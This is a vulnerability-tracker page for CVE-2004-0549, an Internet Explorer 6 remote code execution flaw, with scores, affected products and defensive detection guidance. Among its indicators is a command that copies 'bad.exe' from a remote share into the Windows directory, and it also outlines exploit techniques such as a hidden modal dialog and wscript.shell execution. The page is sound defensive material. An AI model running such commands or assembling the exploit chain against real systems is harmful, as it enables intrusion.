CVE-2004-0549

published 2004-08-06

CVE-2004-0549: The WebBrowser ActiveX control, or the Internet Explorer HTML rendering engine (MSHTML), as used in Internet Explorer 6, allows remote attackers to execute…

Priority P2 69 critical 10 CVSS 2.0

AV N AC L Au N C C I C A C

ITW EXPLOIT VulnCheck KEV

The WebBrowser ActiveX control, or the Internet Explorer HTML rendering engine (MSHTML), as used in Internet Explorer 6, allows remote attackers to execute arbitrary code in the Local Security context by using the showModalDialog method and modifying the location to execute code such as Javascript, as demonstrated using (1) delayed HTTP redirect operations, and an HTTP response with a Location: header containing a "URL:" prepended to a "ms-its" protocol URI, or (2) modifying the location attribute of the window, as exploited by the Download.ject (aka Scob aka Toofer) using the ADODB.Stream object.

Affected

3 ranges

Vendor	Product	Version range	Fixed in
microsoft	internet_explorer	—	—
microsoft	internet_explorer	—	—
microsoft	internet_explorer	—	—

Detection & IOCs extracted from sources · hover to see the quote

other ms-its↗

command %comspec% /c copy \\IPADDRESS\NULLSHAREDFOLDER\bad.exe %windir%\_tmp.exe↗

process wscript.shell↗

other ADODB.Stream↗

• → Detect use of showModalDialog combined with a vbscript: location reassignment, which is the core exploit primitive for this CVE. ↗
• → Monitor HTTP responses whose Location: header value is prefixed with 'URL:' followed by an 'ms-its:' URI, indicating exploitation of the redirect-based attack vector. ↗
• → Alert on ActiveXObject instantiation of 'wscript.shell' from within browser script context (MSHTML/WebBrowser control), especially when followed by Run() calls to copy and execute files from UNC paths. ↗
• → Detect execScript calls used to inject and execute cross-frame code, a technique used to escape the modal dialog sandbox. ↗
• → Hunt for the Download.ject/Scob/Toofer malware family, which exploited this CVE via ADODB.Stream to drop payloads. ↗
• → Monitor for insertAdjacentHTML used to inject script content into cross-origin frames, a technique used in the shellscript.js stage of this exploit chain. ↗

• · The exploit uses hidden dialog dimensions (dialogTop:-1000, dialogLeft:-1000, height/width of 1) to make the modal dialog invisible to the user; defenders should be aware this technique is designed to evade visual detection. ↗
• · The exploit relies on a timed sequence of setTimeout calls (100ms, 101ms, 1000ms) to synchronize cross-frame injection; detection based solely on static content may miss the dynamic execution chain. ↗

CVSS provenance

nvd v2.0 10.0 CRITICAL AV:N/AC:L/Au:N/C:C/I:C/A:C

vulncheck 10.0 CRITICAL

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.